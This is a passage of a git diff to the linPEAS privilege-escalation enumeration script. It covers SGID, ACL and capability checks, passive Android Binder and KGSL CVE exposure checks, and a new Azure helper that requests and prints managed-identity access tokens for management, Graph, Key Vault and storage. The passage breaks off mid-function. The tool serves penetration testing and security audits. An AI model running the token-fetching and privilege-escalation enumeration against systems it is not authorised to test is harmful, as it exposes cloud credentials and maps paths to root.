$STRINGS, $TIMEOUT, $Wfolders # Initial Functions: -# Generated Global Variables: $sgids_files, $sname, $sline_first, $sline, $LD_LIBRARY_PATH, $OLD_LD_LIBRARY_PATH +# Generated Global Variables: $sgids_files, $sfile, $sname, $sowner, $sline_first, $sline, $LD_LIBRARY_PATH, $OLD_LD_LIBRARY_PATH # Fat linpeas: 0 # Small linpeas: 1 print_2title "SGID" "T1548.001" -print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid" +print_info "https://book.hacktricks.wiki/en/linux-hardening/interesting-files-permissions/suid-sgid-and-acl-triage.html#enumerate-privileged-executables" sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null) -printf "%s\n" "$sgids_files" | while read s; do - [ -z "$s" ] && continue - s=$(ls -lahtr "$s") +printf "%s\n" "$sgids_files" | while IFS= read -r sfile; do + [ -z "$sfile" ] && continue + s=$(ls -lahtr "$sfile") #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder if echo "$s" | grep -qE "^total";then break; fi - sname="$(echo $s | awk '{print $9}')" + # Keep the path returned by find: parsing it from ls output breaks on whitespace. + sname="$sfile" + sowner="$(echo "$s" | awk '{print $3}')" if [ "$sname" = "." ] || [ "$sname" = ".." ]; then true #Don't do nothing elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then @@ -93,5 +95,8 @@ printf "%s\n" "$sgids_files" | while read s; do fi fi fi + + # Reuse this enumeration for the shared privileged-file placement checks. + check_privileged_file_location "SGID" "$sname" "$sowner" done; echo "" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/3_Files_ACLs.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/3_Files_ACLs.sh index 7479d74d..854f919e 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/3_Files_ACLs.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/3_Files_ACLs.sh @@ -15,7 +15,7 @@ print_2title "Files with ACLs (limited to 50)" "T1222" -print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#acls" +print_info "https://book.hacktricks.wiki/en/linux-hardening/interesting-files-permissions/suid-sgid-and-acl-triage.html#inspect-acls-and-sensitive-paths" if ! [ "$SEARCH_IN_FOLDER" ]; then ( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed -${E} "s,$writeVB,${SED_RED_YELLOW},g" | sed -${E} "s,$writeB,${SED_RED},g" else diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/4_Capabilities.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/4_Capabilities.sh index 2cf279ac..4ba6c449 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/4_Capabilities.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/4_Capabilities.sh @@ -1,12 +1,12 @@ # Title: Interesting Permissions Files - Capabilities # ID: IP_Capabilities # Author: Carlos Polop -# Last Update: 22-08-2023 -# Description: Capabilities +# Last Update: 14-08-2026 +# Description: Capabilities, including set-capabilities snap-confine exposure to CVE-2026-8933 # License: GNU GPL -# Version: 1.0 -# Mitre: T1548.001 -# Functions Used: echo_not_found, print_2title, print_info, print_3title +# Version: 1.1 +# Mitre: T1548.001,T1068 +# Functions Used: checkSnapConfineCVE20268933, echo_not_found, print_2title, print_info, print_3title # Global Variables: $capsB, $capsVB, $IAMROOT, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: $cap_name, $cap_value, $cap_line, $cap_status_file, $cap_default_sep, $cap_sep, $cap_color, $capVB, $capname, $capbins, $capsVB_vuln, $proc_status, $proc_pid, $proc_name, $proc_uid, $user_name, $proc_inh, $proc_prm, $proc_eff, $proc_bnd, $proc_amb, $proc_inh_dec, $proc_prm_dec, $proc_eff_dec, $proc_bnd_dec, $proc_amb_dec @@ -16,7 +16,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Capabilities" "T1548.001" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities" + print_info "https://book.hacktricks.wiki/en/linux-hardening/interesting-files-permissions/linux-capabilities.html" if [ "$(command -v capsh || echo -n '')" ]; then is_hex_cap_value() { case "$1" in @@ -125,4 +125,5 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then fi done echo "" + checkSnapConfineCVE20268933 fi diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/5_Users_with_capabilities.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/5_Users_with_capabilities.sh index 6a913c83..2898a79f 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/5_Users_with_capabilities.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/5_Users_with_capabilities.sh @@ -16,7 +16,7 @@ if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ] || grep -Rqs "pam_cap\.so" /etc/pam.d /etc/pam.conf 2>/dev/null; then print_2title "Users with capabilities" "T1548.001" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities" + print_info "https://book.hacktricks.wiki/en/linux-hardening/interesting-files-permissions/linux-capabilities.html" if [ -f "/etc/security/capability.conf" ]; then grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed -${E} "s,$capsB,${SED_RED},g" else echo_not_found "/etc/security/capability.conf" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/6_Misconfigured_ldso.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/6_Misconfigured_ldso.sh index 149c32d3..4f3f7cad 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/6_Misconfigured_ldso.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/6_Misconfigured_ldso.sh @@ -16,7 +16,7 @@ if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then print_2title "Checking misconfigurations of ld.so" "T1574.006" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#ldso" + print_info "https://book.hacktricks.wiki/en/linux-hardening/interesting-files-permissions/ld.so.conf-example.html" if [ -f "/etc/ld.so.conf" ] && [ -w "/etc/ld.so.conf" ]; then echo "You have write privileges over /etc/ld.so.conf" | sed -${E} "s,.*,${SED_RED_YELLOW},"; printf $RED$ITALIC"/etc/ld.so.conf\n"$NC; diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/7_Files_etc_profile_d.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/7_Files_etc_profile_d.sh index 097e4cac..e0b0d10c 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/7_Files_etc_profile_d.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/7_Files_etc_profile_d.sh @@ -16,7 +16,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Files (scripts) in /etc/profile.d/" "T1546.004" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#profiles-files" + print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/shell-startup-aliases-and-history.html#review-startup-and-history-files" if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/" check_critial_root_path "/etc/profile" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/8_Files_etc_init_d.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/8_Files_etc_init_d.sh index bc5696d1..0f2089bb 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/8_Files_etc_init_d.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/8_interesting_perms_files/8_Files_etc_init_d.sh @@ -16,7 +16,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Permissions in init, init.d, systemd, and rc.d" "T1543.002" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#init-initd-systemd-and-rcd" + print_info "https://book.hacktricks.wiki/en/linux-hardening/processes-crontab-systemd-dbus/process-enumeration-and-service-paths.html#follow-the-service-execution-chain" if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS check_critial_root_path "/etc/init/" check_critial_root_path "/etc/init.d/" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/9_interesting_files/1_Sh_files_in_PATH.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/9_interesting_files/1_Sh_files_in_PATH.sh index 9e7d4077..182c1a9d 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/9_interesting_files/1_Sh_files_in_PATH.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/9_interesting_files/1_Sh_files_in_PATH.sh @@ -16,7 +16,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title ".sh files in path" "T1574.007" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scriptbinaries-in-path" + print_info "https://book.hacktricks.wiki/en/linux-hardening/processes-crontab-systemd-dbus/process-enumeration-and-service-paths.html#follow-the-service-execution-chain" echo $PATH | tr ":" "\n" | while read d; do for f in $(find "$d" -name "*.sh" -o -name "*.sh.*" 2>/dev/null); do if ! [ "$IAMROOT" ] && [ -O "$f" ]; then diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/9_interesting_files/8_Writable_log_files.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/9_interesting_files/8_Writable_log_files.sh index 6f650f99..d34f51a0 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/9_interesting_files/8_Writable_log_files.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/9_interesting_files/8_Writable_log_files.sh @@ -16,7 +16,7 @@ if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below print_2title "Writable log files (logrotten) (limit 50)" "T1070.002" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#logrotate-exploitation" + print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#logrotate-exploitation" logrotate --version 2>/dev/null || echo_not_found "logrotate" lastWlogFolder="ImPOsSiBleeElastWlogFolder" logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50) diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/azureIdentityHelpers.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/azureIdentityHelpers.sh new file mode 100644 index 00000000..a583ba03 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/azureIdentityHelpers.sh @@ -0,0 +1,37 @@ +# Title: Function - azureIdentityHelpers +# ID: azureIdentityHelpers +# Author: HT Bot +# Last Update: 31-07-2026 +# Description: Shared helpers for Azure managed-identity checks to avoid repeating the same request-command setup and standard token enumeration blocks. +# License: GNU GPL +# Version: 1.0 +# Functions Used: exec_with_jq, print_3title +# Global Variables: +# Initial Functions: +# Generated Global Variables: $HEADER, $API_VERSION, $az_req +# Fat linpeas: 0 +# Small linpeas: 1 + +set_azure_request_command() { + az_req="" + if [ "$(command -v curl || echo -n '')" ]; then + az_req="curl -s -f -L -H '$HEADER'" + elif [ "$(command -v wget || echo -n '')" ]; then + az_req="wget -q -O - --header '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi +} + +print_azure_identity_token() { + print_3title "$1" "T1552.005,T1580" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\\&resource=$2" + echo +} + +print_azure_standard_identity_tokens() { + print_azure_identity_token "Management token" "https://management.azure.com/" + print_azure_identity_token "Graph token" "https://graph.microsoft.com/" + print_azure_identity_token "Vault token" "https://vault.azure.net/" + print_azure_identity_token "Storage token" "https://storage.azure.com/" +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkAndroidBinderCVE202320938.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkAndroidBinderCVE202320938.sh new file mode 100644 index 00000000..757e1aea --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkAndroidBinderCVE202320938.sh @@ -0,0 +1,205 @@ +# Title: Function - checkAndroidBinderCVE202320938 +# ID: checkAndroidBinderCVE202320938 +# Author: HT Bot +# Last Update: 29-09-2026 +# Description: Passively assess Android GKI 5.4/5.10 Binder exposure and the security patch levels for CVE-2023-20938 and its incomplete fix, CVE-2023-21255. +# License: GNU GPL +# Version: 1.0 +# Mitre: T1068 +# Functions Used: print_3title, print_info +# Global Variables: $E, $ROOT_FOLDER, $SED_GREEN, $SED_LIGHT_CYAN, $SED_RED_YELLOW, $SED_YELLOW +# Initial Functions: +# Generated Global Variables: $ab20938_access, $ab20938_android_release, $ab20938_candidate, $ab20938_device, $ab20938_devices, $ab20938_effective_num, $ab20938_effective_spl, $ab20938_file, $ab20938_fingerprint, $ab20938_first_api, $ab20938_gki, $ab20938_kernel, $ab20938_kernel_branch, $ab20938_kernel_build, $ab20938_key, $ab20938_patch_state, $ab20938_platform_num, $ab20938_platform_spl, $ab20938_root, $ab20938_rw_devices, $ab20938_sdk, $ab20938_value, $ab20938_vendor_fingerprint, $ab20938_vendor_num, $ab20938_vendor_spl +# Fat linpeas: 0 +# Small linpeas: 1 + +ab20938_getprop() { + ab20938_key="$1" + + if [ "$ab20938_root" = "/" ] && command -v getprop >/dev/null 2>&1; then + ab20938_value="$(getprop "$ab20938_key" 2>/dev/null)" + [ "$ab20938_value" ] && { printf '%s' "$ab20938_value"; return 0; } + fi + + for ab20938_file in \ + "${ab20938_root}system/build.prop" \ + "${ab20938_root}system/system/build.prop" \ + "${ab20938_root}vendor/build.prop" \ + "${ab20938_root}product/build.prop" \ + "${ab20938_root}odm/build.prop" \ + "${ab20938_root}default.prop"; do + [ -r "$ab20938_file" ] || continue + ab20938_value="$(awk -F= -v key="$ab20938_key" '$1 == key { sub(/^[^=]*=/, ""); print; exit }' "$ab20938_file" 2>/dev/null)" + [ "$ab20938_value" ] && { printf '%s' "$ab20938_value"; return 0; } + done + + return 1 +} + +ab20938_valid_spl() { + printf '%s' "$1" | grep -Eq '^[0-9]{4}-(0[1-9]|1[0-2])-([0-2][0-9]|3[01])$' +} + +checkAndroidBinderCVE202320938() { + ab20938_root="${ROOT_FOLDER:-/}" + case "$ab20938_root" in + */) ;; + *) ab20938_root="${ab20938_root}/" ;; + esac + + ab20938_android_release="$(ab20938_getprop ro.build.version.release)" + ab20938_sdk="$(ab20938_getprop ro.build.version.sdk)" + ab20938_platform_spl="$(ab20938_getprop ro.build.version.security_patch)" + ab20938_vendor_spl="$(ab20938_getprop ro.vendor.build.security_patch)" + ab20938_fingerprint="$(ab20938_getprop ro.build.fingerprint)" + ab20938_vendor_fingerprint="$(ab20938_getprop ro.vendor.build.fingerprint)" + ab20938_first_api="$(ab20938_getprop ro.product.first_api_level)" + + if [ -z "$ab20938_android_release$ab20938_sdk$ab20938_platform_spl$ab20938_fingerprint" ] \ + && [ ! -e "${ab20938_root}system/bin/app_process" ] \ + && [ ! -e "${ab20938_root}system/framework/framework.jar" ]; then + return 0 + fi + + if [ -r "${ab20938_root}proc/sys/kernel/osrelease" ]; then + ab20938_kernel="$(cat "${ab20938_root}proc/sys/kernel/osrelease" 2>/dev/null)" + elif [ "$ab20938_root" = "/" ]; then + ab20938_kernel="$(uname -r 2>/dev/null)" + else + ab20938_kernel="$(ab20938_getprop ro.kernel.version)" + fi + + if [ -r "${ab20938_root}proc/version" ]; then + ab20938_kernel_build="$(cat "${ab20938_root}proc/version" 2>/dev/null)" + elif [ "$ab20938_root" = "/" ]; then + ab20938_kernel_build="$(uname -v 2>/dev/null)" + else + ab20938_kernel_build="unknown" + fi + + print_3title "Android Binder LPE (CVE-2023-20938 / CVE-2023-21255)" "T1068" + print_info "https://androidoffsec.withgoogle.com/posts/attacking-android-binder-analysis-and-exploitation-of-cve-2023-20938/" + print_info "https://source.android.com/docs/security/bulletin/2023-02-01" + print_info "https://source.android.com/docs/security/bulletin/2023-07-01" + print_info "https://source.android.com/docs/core/architecture/kernel/gki-versioning" + + echo "Android release: ${ab20938_android_release:-unknown} (SDK ${ab20938_sdk:-unknown}; first API ${ab20938_first_api:-unknown})" + echo "Platform security patch level: ${ab20938_platform_spl:-unknown}" + echo "Vendor security patch level: ${ab20938_vendor_spl:-unknown}" + echo "Kernel release: ${ab20938_kernel:-unknown}" + echo "Kernel build: ${ab20938_kernel_build:-unknown}" + echo "Build fingerprint: ${ab20938_fingerprint:-unknown}" + [ "$ab20938_vendor_fingerprint" ] && echo "Vendor fingerprint: $ab20938_vendor_fingerprint" + + ab20938_effective_spl="" + ab20938_platform_num="" + ab20938_vendor_num="" + if ab20938_valid_spl "$ab20938_platform_spl"; then + ab20938_platform_num="$(printf '%s' "$ab20938_platform_spl" | tr -d '-')" + ab20938_effective_spl="$ab20938_platform_spl" + ab20938_effective_num="$ab20938_platform_num" + fi + if ab20938_valid_spl "$ab20938_vendor_spl"; then + ab20938_vendor_num="$(printf '%s' "$ab20938_vendor_spl" | tr -d '-')" + if [ -z "$ab20938_effective_spl" ] || [ "$ab20938_vendor_num" -lt "$ab20938_effective_num" ]; then + ab20938_effective_spl="$ab20938_vendor_spl" + ab20938_effective_num="$ab20938_vendor_num" + fi + fi + [ "$ab20938_effective_spl" ] && echo "Conservative patch level used for assessment: $ab20938_effective_spl (oldest reported platform/vendor level)" + + ab20938_kernel_branch="" + case "$ab20938_kernel" in + 5.4|5.4.*) ab20938_kernel_branch="5.4" ;; + 5.10|5.10.*) ab20938_kernel_branch="5.10" ;; + esac + + ab20938_gki="unknown" + # Android documents the GKI release form as + # w.x.y-android--. Do not treat a generic + # Android build-host marker as proof that a vendor kernel is GKI. + if printf '%s' "$ab20938_kernel" | grep -Eq '^5\.(4|10)\.[0-9]+-android[0-9]+-[0-9]+([.-].*)?$' \ + || printf '%s' "$ab20938_kernel" | grep -Eqi '(^|[.-])gki([.-]|$)'; then + ab20938_gki="detected" + fi + echo "GKI evidence: $ab20938_gki" + + ab20938_devices="" + ab20938_rw_devices="" + for ab20938_candidate in \ + dev/binder dev/hwbinder dev/vndbinder \ + dev/binderfs/binder dev/binderfs/hwbinder dev/binderfs/vndbinder; do + ab20938_device="${ab20938_root}${ab20938_candidate}" + [ -e "$ab20938_device" ] || continue + ab20938_devices="$ab20938_devices /$ab20938_candidate" + ab20938_access="present" + if [ "$ab20938_root" != "/" ]; then + ab20938_access="present (offline image; runtime access unknown)" + elif [ -r "$ab20938_device" ] && [ -w "$ab20938_device" ]; then + ab20938_access="read/write accessible to the current context" + ab20938_rw_devices="$ab20938_rw_devices /$ab20938_candidate" + elif [ -r "$ab20938_device" ]; then + ab20938_access="read-only accessible to the current context" + elif [ -w "$ab20938_device" ]; then + ab20938_access="write-only accessible to the current context" + else + ab20938_access="not accessible to the current context" + fi + echo "Binder device /$ab20938_candidate: $ab20938_access" + done + [ "$ab20938_devices" ] || echo "Binder devices: none found" + + ab20938_patch_state="unknown" + if [ "$ab20938_effective_spl" ]; then + if [ "$ab20938_effective_num" -ge 20230705 ]; then + ab20938_patch_state="fully-fixed" + echo "Patch status: the reported patch level includes the July 5, 2023 Binder root-cause fix" | sed -${E} "s,.*,${SED_GREEN}," + elif [ "$ab20938_effective_num" -ge 20230205 ]; then + ab20938_patch_state="incomplete-fix" + echo "Patch status: the February fix is reported, but the July root-cause fix for CVE-2023-21255 is not" | sed -${E} "s,.*,${SED_YELLOW}," + else + ab20938_patch_state="unfixed" + echo "Patch status: predates the February 5, 2023 CVE-2023-20938 patch level" | sed -${E} "s,.*,${SED_YELLOW}," + fi + else + echo "Patch status: no valid Android platform/vendor security patch level was available" | sed -${E} "s,.*,${SED_YELLOW}," + fi + + if [ -z "$ab20938_kernel_branch" ]; then + echo "NOT APPLICABLE: the published exploit affected Android GKI 5.4 and 5.10, not kernel ${ab20938_kernel:-unknown}" | sed -${E} "s,.*,${SED_GREEN}," + return 0 + fi + + if [ "$ab20938_gki" != "detected" ]; then + echo "No vulnerability verdict: kernel $ab20938_kernel is in a relevant version family, but GKI could not be confirmed" | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + return 0 + fi + + if [ -z "$ab20938_devices" ]; then + echo "Current Binder attack surface not found" | sed -${E} "s,.*,${SED_GREEN}," + return 0 + fi + + if [ "$ab20938_root" = "/" ] && [ -z "$ab20938_rw_devices" ]; then + echo "Current context cannot read and write a detected Binder device; this execution context cannot use the described entry point" | sed -${E} "s,.*,${SED_GREEN}," + echo "Other Android application domains can have different Binder access under SELinux" | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + return 0 + fi + + case "$ab20938_patch_state" in + fully-fixed) + echo "No vulnerable patch-level indication for CVE-2023-20938/CVE-2023-21255" | sed -${E} "s,.*,${SED_GREEN}," + ;; + incomplete-fix) + echo "POTENTIAL ANDROID KERNEL LPE: GKI $ab20938_kernel_branch, a Binder device, and a pre-2023-07-05 patch level match CVE-2023-21255" | sed -${E} "s,.*,${SED_RED_YELLOW}," + echo "Confirm the vendor kernel contains commit 1ca1130ec62d (or an equivalent backport); patch-level matching alone cannot prove vulnerability" | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + ;; + unfixed) + echo "POTENTIAL ANDROID KERNEL LPE: GKI $ab20938_kernel_branch, a Binder device, and a pre-2023-02-05 patch level match CVE-2023-20938/CVE-2023-21255" | sed -${E} "s,.*,${SED_RED_YELLOW}," + echo "Confirm vendor backports before treating this heuristic as proof of vulnerability" | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + ;; + *) + echo "Relevant GKI/Binder attack surface detected, but patch status is unknown; verify both February and July 2023 Binder fixes manually" | sed -${E} "s,.*,${SED_YELLOW}," + ;; + esac +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkAndroidKGSLCVE202423380.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkAndroidKGSLCVE202423380.sh new file mode 100644 index 00000000..02b15fd4 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkAndroidKGSLCVE202423380.sh @@ -0,0 +1,216 @@ +# Title: Function - checkAndroidKGSLCVE202423380 +# ID: checkAndroidKGSLCVE202423380 +# Author: HT Bot +# Last Update: 29-09-2026 +# Description: Passively assess Qualcomm KGSL exposure and Android security patch levels for CVE-2024-23380 without interacting with the GPU driver. +# License: GNU GPL +# Version: 1.0 +# Mitre: T1068 +# Functions Used: print_3title, print_info +# Global Variables: $E, $ROOT_FOLDER, $SED_GREEN, $SED_LIGHT_CYAN, $SED_RED_YELLOW, $SED_YELLOW +# Initial Functions: +# Generated Global Variables: $kg23380_access, $kg23380_android_release, $kg23380_board, $kg23380_candidate, $kg23380_device, $kg23380_device_details, $kg23380_driver_evidence, $kg23380_driver_version, $kg23380_effective_num, $kg23380_effective_spl, $kg23380_file, $kg23380_fingerprint, $kg23380_gpu_model, $kg23380_hardware, $kg23380_key, $kg23380_kernel, $kg23380_kernel_build, $kg23380_platform_num, $kg23380_platform_spl, $kg23380_qualcomm_evidence, $kg23380_root, $kg23380_sdk, $kg23380_soc_manufacturer, $kg23380_soc_model, $kg23380_sysfs, $kg23380_value, $kg23380_vendor_fingerprint, $kg23380_vendor_num, $kg23380_vendor_spl +# Fat linpeas: 0 +# Small linpeas: 1 + +kg23380_getprop() { + kg23380_key="$1" + + if [ "$kg23380_root" = "/" ] && command -v getprop >/dev/null 2>&1; then + kg23380_value="$(getprop "$kg23380_key" 2>/dev/null)" + [ "$kg23380_value" ] && { printf '%s' "$kg23380_value"; return 0; } + fi + + for kg23380_file in \ + "${kg23380_root}system/build.prop" \ + "${kg23380_root}system/system/build.prop" \ + "${kg23380_root}vendor/build.prop" \ + "${kg23380_root}product/build.prop" \ + "${kg23380_root}odm/build.prop" \ + "${kg23380_root}default.prop"; do + [ -r "$kg23380_file" ] || continue + kg23380_value="$(awk -F= -v key="$kg23380_key" '$1 == key { sub(/^[^=]*=/, ""); print; exit }' "$kg23380_file" 2>/dev/null)" + [ "$kg23380_value" ] && { printf '%s' "$kg23380_value"; return 0; } + done + + return 1 +} + +kg23380_valid_spl() { + printf '%s' "$1" | grep -Eq '^[0-9]{4}-(0[1-9]|1[0-2])-([0-2][0-9]|3[01])$' +} + +checkAndroidKGSLCVE202423380() { + kg23380_root="${ROOT_FOLDER:-/}" + case "$kg23380_root" in + */) ;; + *) kg23380_root="${kg23380_root}/" ;; + esac + + kg23380_android_release="$(kg23380_getprop ro.build.version.release)" + kg23380_sdk="$(kg23380_getprop ro.build.version.sdk)" + kg23380_platform_spl="$(kg23380_getprop ro.build.version.security_patch)" + kg23380_vendor_spl="$(kg23380_getprop ro.vendor.build.security_patch)" + kg23380_fingerprint="$(kg23380_getprop ro.build.fingerprint)" + kg23380_vendor_fingerprint="$(kg23380_getprop ro.vendor.build.fingerprint)" + + if [ -z "$kg23380_android_release$kg23380_sdk$kg23380_platform_spl$kg23380_fingerprint" ] \ + && [ ! -e "${kg23380_root}system/bin/app_process" ] \ + && [ ! -e "${kg23380_root}system/framework/framework.jar" ]; then + return 0 + fi + + kg23380_hardware="$(kg23380_getprop ro.hardware)" + [ "$kg23380_hardware" ] || kg23380_hardware="$(kg23380_getprop ro.boot.hardware)" + kg23380_board="$(kg23380_getprop ro.board.platform)" + [ "$kg23380_board" ] || kg23380_board="$(kg23380_getprop ro.product.board)" + kg23380_soc_manufacturer="$(kg23380_getprop ro.soc.manufacturer)" + kg23380_soc_model="$(kg23380_getprop ro.soc.model)" + + if [ -r "${kg23380_root}proc/sys/kernel/osrelease" ]; then + kg23380_kernel="$(cat "${kg23380_root}proc/sys/kernel/osrelease" 2>/dev/null)" + elif [ "$kg23380_root" = "/" ]; then + kg23380_kernel="$(uname -r 2>/dev/null)" + else + kg23380_kernel="$(kg23380_getprop ro.kernel.version)" + fi + + if [ -r "${kg23380_root}proc/version" ]; then + kg23380_kernel_build="$(cat "${kg23380_root}proc/version" 2>/dev/null)" + elif [ "$kg23380_root" = "/" ]; then + kg23380_kernel_build="$(uname -v 2>/dev/null)" + else + kg23380_kernel_build="unknown" + fi + + kg23380_device="${kg23380_root}dev/kgsl-3d0" + kg23380_sysfs="" + for kg23380_candidate in \ + "${kg23380_root}sys/class/kgsl/kgsl-3d0" \ + "${kg23380_root}sys/class/misc/kgsl-3d0" \ + "${kg23380_root}sys/devices/platform/"*kgsl* \ + "${kg23380_root}sys/devices/platform/soc/"*kgsl*; do + [ -e "$kg23380_candidate" ] || continue + 